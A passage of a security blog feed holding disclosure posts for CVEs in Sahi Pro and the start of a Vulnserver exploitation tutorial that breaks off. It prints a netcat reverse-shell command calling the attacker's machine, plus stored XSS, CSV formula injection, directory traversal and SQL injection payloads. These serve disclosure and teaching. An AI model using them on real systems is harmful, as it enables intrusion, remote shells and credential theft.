<p><a href="http://192.168.0.104:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;suite=rce.sah&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false">http://<strong>192.168.0.104</strong>:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;<strong>suite=rce.sah</strong>&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false</a></p>
<p>&nbsp;</p>
<p>here just changing <strong>suite</strong> get parameter , attacker can execute any suite/script of his choice . he executes the script he created before remotely as follows :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-698" src="https://barriersec.com/wp-content/uploads/rce_3.png" alt="" width="1867" height="679" srcset="https://barriersec.com/wp-content/uploads/rce_3.png 1867w, https://barriersec.com/wp-content/uploads/rce_3-300x109.png 300w, https://barriersec.com/wp-content/uploads/rce_3-768x279.png 768w, https://barriersec.com/wp-content/uploads/rce_3-1024x372.png 1024w" sizes="(max-width: 1867px) 100vw, 1867px" /></p>
<p>Fig : attacker executes his previously created script with the help of <strong>testrunner</strong> generated URL.</p>
<p>As the payload specified, if the execution is successful , attacker should get a ping request to his machine. This can be confirmed with the help of listening to icmp request using tcpdump as follows :</p>
<p><strong>Tcpdump –I eth0 icmp –vv</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-699" src="https://barriersec.com/wp-content/uploads/rce_4.png" alt="" width="1111" height="495" srcset="https://barriersec.com/wp-content/uploads/rce_4.png 1111w, https://barriersec.com/wp-content/uploads/rce_4-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_4-768x342.png 768w, https://barriersec.com/wp-content/uploads/rce_4-1024x456.png 1024w" sizes="(max-width: 1111px) 100vw, 1111px" /></p>
<p>Fig : as we can see attacker machine gets a ICMP echo ping request from remote victim machine running sahi pro .</p>
<p>Now we can confirm the remote code execution. Lets now maximize the impact by getting a complete shell of the victim machine. This can be done with many ways..i use SMB to host a reverse shell which is directly executed by remote server.(temporarily hosted on my attacker box ) to achieve the same(same network).</p>
<p>Command :</p>
<p>_execute(&#8220;<strong>\\\\192.168.0.105\\MENOE\\nc.exe -nv 192.168.0.105 443 -e cmd.exe</strong>&#8220;);</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-700" src="https://barriersec.com/wp-content/uploads/rce8.png" alt="" width="1413" height="566" srcset="https://barriersec.com/wp-content/uploads/rce8.png 1413w, https://barriersec.com/wp-content/uploads/rce8-300x120.png 300w, https://barriersec.com/wp-content/uploads/rce8-768x308.png 768w, https://barriersec.com/wp-content/uploads/rce8-1024x410.png 1024w" sizes="(max-width: 1413px) 100vw, 1413px" /></p>
<p>&nbsp;</p>
<p>Fig : attacker creates another script with the payload specified above.</p>
<p>&nbsp;</p>
<p>executing the script with the same unauthenticated endpoint results in code execution with receiving a proper reverse shell.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-701" src="https://barriersec.com/wp-content/uploads/rce7.png" alt="" width="1704" height="527" srcset="https://barriersec.com/wp-content/uploads/rce7.png 1704w, https://barriersec.com/wp-content/uploads/rce7-300x93.png 300w, https://barriersec.com/wp-content/uploads/rce7-768x238.png 768w, https://barriersec.com/wp-content/uploads/rce7-1024x317.png 1024w" sizes="(max-width: 1704px) 100vw, 1704px" />                                                Fig : &gt;&gt; Reverse shell &lt;&lt;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20472 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:52 +0000</pubDate>
				<category><![CDATA[disclosures]]></category>
		<category><![CDATA[Sahi Pro(<=8.x) Stored XSS]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=532</guid>

					<description><![CDATA[<p>Sahi Pro web interface is  vulnerable to a Stored XSS . Exploiting this bug needs a prior knowledge of the&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/">CVE-2018-20472 &#8211; Sahi pro ( &lt;= 8.x ) Stored XSS</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Sahi Pro</strong> web interface is  vulnerable to a <strong>Stored XSS</strong> . Exploiting this bug needs a prior knowledge of the end to end flow and basic scripting of sahi pro .</p>
<p>Sahi pro is a web application automation tool which helps automation testers to automate their web application tasks . It makes it very easy for end users with their readily available API functions . an end user can create a sahi script either by using their sahi programming language ( similar to javascript ) or can use ruby . We will use sahi language itself for this demo.</p>
<p>Sahi has some interesting features such as web application interface which aggregates all the reports for the sahi script execution tasks. It was found that web module is vulnerable to stored cross site scripting.</p>
<p>Here is the Proof of concept for the same:</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-537" src="https://barriersec.com/wp-content/uploads/xss_1.png" alt="" width="1275" height="460" srcset="https://barriersec.com/wp-content/uploads/xss_1.png 1275w, https://barriersec.com/wp-content/uploads/xss_1-300x108.png 300w, https://barriersec.com/wp-content/uploads/xss_1-768x277.png 768w, https://barriersec.com/wp-content/uploads/xss_1-1024x369.png 1024w" sizes="(max-width: 1275px) 100vw, 1275px" /></p>
<p>fig 1 : sahi script containing XSS payload</p>
<p>Here we have created a simple sahi script which uses a testcase API .</p>
<p><strong>var $tc1 = _testcase(&#8220;TC-1&#8243;,&#8221;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#8221;).start();</strong></p>
<p><strong>_log(&#8220;testing stored XSS injection&#8221;);</strong></p>
<p><strong>$tc1.end();</strong></p>
<p>In the testcase API , as per the documentation provided accepts two parameters ,first one being <strong>testcase ID</strong> and second one <strong>test case description</strong> . Both values are reflected back in the web reports  which triggers the <strong>XSS</strong> vulnerability . save the file as &#8220;filename.sah&#8221;  and with the help of sahi controller execute the script.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-539 aligncenter" src="https://barriersec.com/wp-content/uploads/stored_2.png" alt="" width="1456" height="948" srcset="https://barriersec.com/wp-content/uploads/stored_2.png 1456w, https://barriersec.com/wp-content/uploads/stored_2-300x195.png 300w, https://barriersec.com/wp-content/uploads/stored_2-768x500.png 768w, https://barriersec.com/wp-content/uploads/stored_2-1024x667.png 1024w" sizes="(max-width: 1456px) 100vw, 1456px" /></p>
<p>Fig 2 : execute the script in the controller</p>
<p>Now navigate to the executed report in the web report console . XSS is triggered .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-541" src="https://barriersec.com/wp-content/uploads/stored_3.png" alt="" width="1609" height="698" srcset="https://barriersec.com/wp-content/uploads/stored_3.png 1609w, https://barriersec.com/wp-content/uploads/stored_3-300x130.png 300w, https://barriersec.com/wp-content/uploads/stored_3-768x333.png 768w, https://barriersec.com/wp-content/uploads/stored_3-1024x444.png 1024w" sizes="(max-width: 1609px) 100vw, 1609px" /> <img decoding="async" loading="lazy" class="alignnone size-full wp-image-542" src="https://barriersec.com/wp-content/uploads/xss_3.png" alt="" width="1796" height="795" srcset="https://barriersec.com/wp-content/uploads/xss_3.png 1796w, https://barriersec.com/wp-content/uploads/xss_3-300x133.png 300w, https://barriersec.com/wp-content/uploads/xss_3-768x340.png 768w, https://barriersec.com/wp-content/uploads/xss_3-1024x453.png 1024w" sizes="(max-width: 1796px) 100vw, 1796px" /></p>
<p><strong>   Fig 3 ,4 : Stored XSS triggers .</strong></p>
<p>This can be utilized by a malicious limited user to steal password protected (admin) web reports credentials.</p>
<p>Disclosure timeline :</p>
<p>Reported on : <strong>8 / December / 2018</strong></p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/">CVE-2018-20472 &#8211; Sahi pro ( &lt;= 8.x ) Stored XSS</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20470 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:35 +0000</pubDate>
				<category><![CDATA[disclosures]]></category>
		<category><![CDATA[Sahi Pro (<=8.x) Directory traversal]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[automation tool]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=516</guid>

					<description><![CDATA[<p>Sahi pro is a application automation tool which is quite popular among automation testers . (https://sahipro.com/ )   Being a former&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/">CVE-2018-20470 &#8211; Sahi pro ( &lt;= 8.x ) Directory traversal</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Sahi pro is a application automation tool which is quite popular among automation testers . (<a href="https://sahipro.com/">https://sahipro.com/ </a>)   Being a former automation tester who transitioned to penetration testing,  who also heavily relied on sahi pro for day to day automation activities, An idea raced in my mind to combine both and start hunting for some security bugs in their products. And here is one of the issue that i found in their product.</p>
<p>sahi pro has some interesting features such  as <strong>web reporting interface</strong> and <strong>web editor</strong> which combined and forms report module which aggregates all the automated test execution / suite .  It was found that we can view the source code of any sahi file in the editor to check debug logs, where it highlights failed line or execution flow etc</p>
<p>report interface url can be found at the following location :</p>
<p><strong><a href="http://localhost:9999/logs" target="_blank" rel="noopener noreferrer">http://&lt;ip&gt;:&lt;port&gt;/logs</a> </strong></p>
<p>In the web editor module , it was observed that there  exists a directory traversal vulnerability which allows any user on the same network to view any files on the victim machine running sahi pro automation software. sahi pro allows users to restrict file access for scripts in their configuration file, but this particular module seems to be vulnerable due to lack of server side validations.</p>
<p><strong>Proof of concept  :</strong></p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-523" src="https://barriersec.com/wp-content/uploads/original.png" alt="" width="677" height="258" srcset="https://barriersec.com/wp-content/uploads/original.png 1920w, https://barriersec.com/wp-content/uploads/original-300x114.png 300w, https://barriersec.com/wp-content/uploads/original-768x292.png 768w, https://barriersec.com/wp-content/uploads/original-1024x389.png 1024w" sizes="(max-width: 677px) 100vw, 677px" /></p>
<p>Fig 1 :  shows the reports module which displays and highlights the source code of sahi script file for debugging .</p>
<p>here the get parameter <strong>href </strong>is vulnerable to directory traversal(can also include remote files  to cause Denial of service on victim browser)</p>
<p>Here href get parameter is referring to location :</p>
<p><strong>href=scripts/csv_injection_demo.sah</strong></p>
<p>if its modified to <strong>href=../../supersecret/password.txt </strong>, contents of crucial internal files of the victim machine.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-527 aligncenter" src="https://barriersec.com/wp-content/uploads/proof1.png" alt="" width="1412" height="483" srcset="https://barriersec.com/wp-content/uploads/proof1.png 1412w, https://barriersec.com/wp-content/uploads/proof1-300x103.png 300w, https://barriersec.com/wp-content/uploads/proof1-768x263.png 768w, https://barriersec.com/wp-content/uploads/proof1-1024x350.png 1024w" sizes="(max-width: 1412px) 100vw, 1412px" /></p>
<p>Fig 2 : vulnerable to directory traversal.</p>
<p>another snapshot which disclose contents of <strong>win.ini</strong> file</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-528 aligncenter" src="https://barriersec.com/wp-content/uploads/proof2.png" alt="" width="1353" height="631" srcset="https://barriersec.com/wp-content/uploads/proof2.png 1353w, https://barriersec.com/wp-content/uploads/proof2-300x140.png 300w, https://barriersec.com/wp-content/uploads/proof2-768x358.png 768w, https://barriersec.com/wp-content/uploads/proof2-1024x478.png 1024w" sizes="(max-width: 1353px) 100vw, 1353px" /></p>
<p>Fig 3 : vulnerable to directory traversal.</p>
<p><strong>URL vulnerable :</strong></p>
<p><strong>http://&lt;ip&gt;:&lt;port&gt;/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&amp;n=1#selected</strong></p>
<p><strong>Disclosure timeline :</strong></p>
<p>Notified on : <strong>8 / December / 2018</strong></p>
<p>suggested quick fix till the official patch is released : password protect web reports module</p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/">CVE-2018-20470 &#8211; Sahi pro ( &lt;= 8.x ) Directory traversal</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20468 – Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:01 +0000</pubDate>
				<category><![CDATA[Sahi Pro (<=8.x) CSV Injection]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=565</guid>

					<description><![CDATA[<p>This is one of the low risk bug which was found in Sahi Pro. Reports web interface allows a user&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/">CVE-2018-20468 – Sahi pro ( &lt;= 8.x ) CSV Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This is one of the low risk bug which was found in <strong>Sahi Pro.</strong> Reports web interface allows a user to export the executed automation scripts/suite in excel format. It is possible to inject the excel formula which results in command execution on the victim who exports it .</p>
<p><strong>Proof of concept :</strong></p>
<p>excel formulas can be injected inside the sahi script as shown previously with stored XSS inside a testcase API as follows.</p>
<p><strong> script used :</strong></p>
<p><strong>var $tc1 = _testcase(&#8220;TC-1&#8243;,&#8221;=SUM(1+1)*cmd|&#8217; /C calc&#8217;!A0&#8221;).start();</strong></p>
<p><strong>_log(&#8220;testing csv injection&#8221;);</strong></p>
<p><strong>$tc1.end();</strong></p>
<p>Execute the following sahi script and take export of the report as follows :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-569" src="https://barriersec.com/wp-content/uploads/csv_injection_7.png" alt="" width="1920" height="926" srcset="https://barriersec.com/wp-content/uploads/csv_injection_7.png 1920w, https://barriersec.com/wp-content/uploads/csv_injection_7-300x145.png 300w, https://barriersec.com/wp-content/uploads/csv_injection_7-768x370.png 768w, https://barriersec.com/wp-content/uploads/csv_injection_7-1024x494.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong> Fig : executed sahi script with formula injection.</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-570" src="https://barriersec.com/wp-content/uploads/csv_injection_11.png" alt="" width="1920" height="926" srcset="https://barriersec.com/wp-content/uploads/csv_injection_11.png 1920w, https://barriersec.com/wp-content/uploads/csv_injection_11-300x145.png 300w, https://barriersec.com/wp-content/uploads/csv_injection_11-768x370.png 768w, https://barriersec.com/wp-content/uploads/csv_injection_11-1024x494.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>Fig : victim opens the file and clicks yes on warning and the code                                         executes on victim machine .</strong></p>
<p><strong>Disclosure timeline :</strong></p>
<p>Notified on : <strong>8 / December / 2018</strong></p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  <a href="https://sahipro.com/">https://sahipro.com/</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/">CVE-2018-20468 – Sahi pro ( &lt;= 8.x ) CSV Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20469 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:46:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.x) SQL Injection]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=549</guid>

					<description><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &#60;= 8.x ) A parameter in the web reports module is&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &lt;= 8.x )<br />
A parameter in the web reports module is vulnerable to  SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.</p>
<p>It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.</p>
<p>Proof of concept :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-552" src="https://barriersec.com/wp-content/uploads/sql_injection_3.png" alt="" width="1914" height="581" srcset="https://barriersec.com/wp-content/uploads/sql_injection_3.png 1914w, https://barriersec.com/wp-content/uploads/sql_injection_3-300x91.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_3-768x233.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_3-1024x311.png 1024w" sizes="(max-width: 1914px) 100vw, 1914px" /></p>
<p><strong>              Fig 1 : sql query is directly passed as part of GET request</strong></p>
<p>&nbsp;</p>
<p>Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.</p>
<p>As sahi is using <strong>H2 database</strong> to store the reports and other data, an end user can exploit this scenario to run <strong>h2 database system functions </strong>by manipulating the passed SQL query .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-555" src="https://barriersec.com/wp-content/uploads/sql_injection_5.png" alt="" width="1920" height="1032" srcset="https://barriersec.com/wp-content/uploads/sql_injection_5.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_5-300x161.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_5-768x413.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_5-1024x550.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>               Fig 2 : leak of memory used by sahi application ( memory_used() )</strong></p>
<p><strong>Modified URL :</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-558" src="https://barriersec.com/wp-content/uploads/sql_injection_4.png" alt="" width="1920" height="723" srcset="https://barriersec.com/wp-content/uploads/sql_injection_4.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_4-300x113.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_4-768x289.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_4-1024x386.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>           Fig 3 : leak of database path by sahi application ( database_path() )</strong></p>
<p><strong>Modified URL:</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT database_path() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-560" src="https://barriersec.com/wp-content/uploads/sql_injection_2.png" alt="" width="1915" height="988" srcset="https://barriersec.com/wp-content/uploads/sql_injection_2.png 1915w, https://barriersec.com/wp-content/uploads/sql_injection_2-300x155.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_2-768x396.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_2-1024x528.png 1024w" sizes="(max-width: 1915px) 100vw, 1915px" /></p>
<p><strong>       Fig 4 : leak of current database user by sahi application ( user() )</strong></p>
<p><strong>Modified URL: </strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT user() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p>All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .</p>
<p>Disclosure timeline :</p>
<p>disclosed on : 8/ December / 2018</p>
<p>suggested quick fix till the official patch is released : password protect web reports module</p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Exploiting Vulnserver TRUN command using Socket Reconstruction technique</title>
		<link>https://barriersec.com/2019/05/exploiting-vulnserver-trun-command-using-socket-reconstruction-technique/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 05 May 2019 14:34:14 +0000</pubDate>
				<category><![CDATA[TRUN socket reconstruction]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[socket reconstruction]]></category>
		<category><![CDATA[TRUN]]></category>
		<category><![CDATA[vulnserver]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[x86 custom shellcode]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=615</guid>

					<description><![CDATA[<p>Its been a considerable amount of time since my last OSCE review blog post. ( it does deserve few weeks&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/05/exploiting-vulnserver-trun-command-using-socket-reconstruction-technique/">Exploiting Vulnserver TRUN command using Socket Reconstruction technique</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Its been a considerable amount of time since my last OSCE review blog post. ( it does deserve few weeks of rest! uff! ) In this article we will look at how to exploit Vulnserver TRUN command which is vulnerable to buffer overflow using one of the technique that i learnt during preparation for OSCE. We will look at how to exploit Vulnserver using socket reconstruction which involves sending two stager payload.</p>
<p><strong>What will not be covered in this article ?</strong></p>
<p>Fuzzing vulnserver TRUN command , getting control of EIP are not covered in this article ( which are found nearly everywhere! )</p>
<p><strong>What will be covered in this article?</strong></p>
<p>Writing a custom shellcode which involves recreation of socket functionality and leveraging it to gain a reverse shell.</p>
<p><strong>Some basic prerequisite information :</strong></p>
<p><strong>Anatomy of calling a x86 windows syscall :</strong></p>
<p>In x86 windows, calling a syscall requires us to follow the following process.for example lets consider we need to call the following syscall :</p>
<p><strong>syscallExA(Parameter A , Parameter B) </strong></p>
<p>in order to call syscallExA , we need to first push the required parameters to stack in reverse order .( that is push B then push A ) . Finally we need to move the address of syscallExA onto a register , then finally CALL the register.</p>
<p>It can be pictured as follows ,</p>
<p><strong> PUSH B</strong></p>
<p><strong>PUSH A</strong></p>
<p><strong>MOV EAX, address of syscallExA</strong></p>
<p><strong>CALL EAX</strong></p>
<p>and after the syscall executes , <strong>return value is stored in EAX register</strong>.</p>
<p><strong>What is socket reconstruction technique?</strong></p>
<p>Socket reconstruction technique leverages the fact that in certain client &#8211; server application , it would have already loaded the socket related DLL file required onto its memory . This can further be used for exploiting a buffer overflow vulnerability on that application . We mimick the server ability to construct a socket from initial stages to listening for incoming connection from attacker. at this point of time, attacker can send his second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.</p>
<p><strong>Note : victim box is windows xp SP3 ( NO ASLR and DEP in consideration )</strong></p>
<p><strong>The flow :</strong></p>
<p>We follow the following plan as follows ,</p>
<p>We overwrite the EIP register with JMP ESP pointer as we know ESP points to our payload.</p>
<p><strong>First stage payload :</strong></p>
<p>&gt; We create a new socket with the help of <strong>Socket</strong> Syscall found in <strong>WS2_32 dll</strong> which is already loaded in memory.</p>
<blockquote><p> &gt; created socket is then bind to a different port of our choice using <strong>bind</strong> syscall.</p></blockquote>
<p>&gt;   We listen on the bind port for incoming connection from attacker using <strong>listen</strong> syscall.</p>
<p>&gt; Accept the incoming connection using <strong>Accept</strong> syscall.</p>
<blockquote><p> &gt; Finally receive the second stage payload ( reverse shell ) using <strong>recv</strong> syscall.</p></blockquote>
<p><strong>Second Stage payload</strong> :</p>
<p>Its a  payload of our choice . ( we will use a reverse shell payload from msfvenom )</p>
<p>Before we can Proceed , As noted earlier , we need to know the address of the required socket functions inside WS2_32 DLL file. we can do the following as follows to get it .</p>
<p>1 . In the debugger ( i use immunity debugger ) , <strong>rightclick &gt; view &gt; module &#8216;vulnserv&#8217;</strong></p>
<p>2 . <strong>rightclick &gt; search for &gt; all intermodular calls </strong></p>
<p><img decoding="async" loading="lazy" class="wp-image-635 aligncenter" src="https://barriersec.com/wp-content/uploads/vuln1.png" alt="" width="646" height="342" srcset="https://barriersec.com/wp-content/uploads/vuln1.png 1653w, https://barriersec.com/wp-content/uploads/vuln1-300x159.png 300w, https://barriersec.com/wp-content/uploads/vuln1-768x407.png 768w, https://barriersec.com/wp-content/uploads/vuln1-1024x542.png 1024w" sizes="(max-width: 646px) 100vw, 646px" /></p>
<p>3 . we will see all intermodular calls from this module to all other modules loaded . look for call to  socket function from ws2_32 dll file .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-636" src="https://barriersec.com/wp-content/uploads/vuln2.png" alt="" width="1672" height="738" srcset="https://barriersec.com/wp-content/uploads/vuln2.png 1672w, https://barriersec.com/wp-content/uploads/vuln2-300x132.png 300w, https://barriersec.com/wp-content/uploads/vuln2-768x339.png 768w, https://barriersec.com/wp-content/uploads/vuln2-1024x452.png 1024w" sizes="(max-width: 1672px) 100vw, 1672px" /></p>
<p>4. Follow the function in disassembler . and note all the required functions we need for creating our custom shell code .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-638" src="https://barriersec.com/wp-content/uploads/vuln3.png" alt="" width="1281" height="725" srcset="https://barriersec.com/wp-content/uploads/vuln3.png 1281w, https://barriersec.com/wp-content/uploads/vuln3-300x170.png 300w, https://barriersec.com/wp-content/uploads/vuln3-768x435.png 768w, https://barriersec.com/wp-content/uploads/vuln3-1024x580.png 1024w" sizes="(max-width: 1281px) 100vw, 1281px" /></p>
<p>In our case we need the following addresses for the functions :</p>
<pre>0040257C  -FF25 FC614000    JMP DWORD PTR DS:[&lt;&amp;WS2_32.socket&gt;]      ; WS2_32.socket

00402564  -FF25 D8614000    JMP DWORD PTR DS:[&lt;&amp;WS2_32.bind&gt;]        ; WS2_32.bind

00402554  -FF25 F0614000    JMP DWORD PTR DS:[&lt;&amp;WS2_32.listen&gt;]      ; WS2_32.listen

0040254C  -FF25 D4614000    JMP DWORD PTR DS:[&lt;&amp;WS2_32.accept&gt;]      ; WS2_32.accept

